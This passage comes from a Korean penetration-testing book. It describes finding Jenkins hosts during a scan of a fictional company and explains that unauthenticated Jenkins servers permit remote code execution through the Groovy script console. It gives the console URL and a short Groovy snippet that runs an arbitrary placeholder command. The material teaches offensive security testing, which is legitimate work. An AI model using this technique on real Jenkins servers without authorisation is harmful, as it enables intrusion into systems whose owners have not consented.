더북(TheBook)

SUCK사 시스템을 스캔하면 프린터 등 일반적인 서비스는 물론, 몇 개의 Jenkins 호스트도 볼 수 있다. HTTP 스크린샷의 장점 중 하나가 바로 모든 Jenkins 서버를 함께 볼 수 있다는 것이다. Jenkins는 지속적으로 통합 서비스를 제공해 소프트웨어를 개발할 수 있는 웹 애플리케이션으로, 네트워크를 파악하는 데 도움이 될 몇 가지 특성이 있다.

▲ 그림 2-26 HTTP 스크린샷

 

인증되지 않은 Jenkins 서버는 그루비Groovy 스크립트를 사용한 원격 코드 실행을 허용하는 취약점이 있다고 알려져 있다. 8080번 포트로 Jenkins 서버의 /script/script에 들어가 이 취약점을 이용하는 방법을 소개한 글이 Pentestgeek.com에 실려 있다.

http://[IP]:8080/script/script

스크립트 콘솔에서 임의의 그루비 스크립트 코드를 실행할 수 있다.6

def sout = new StringBuffer(), serr = new StringBuffer()

def proc = '[실행할 코드]'.execute()

proc.consumeProcessOutput(sout, serr)

proc.waitForOrKill(1000)

println "out> $sout err> $serr"

 


6 https://www.pentestgeek.com/2014/06/13/hacking-jenkins-servers-with-no-password/

신간 소식 구독하기
뉴스레터에 가입하시고 이메일로 신간 소식을 받아 보세요.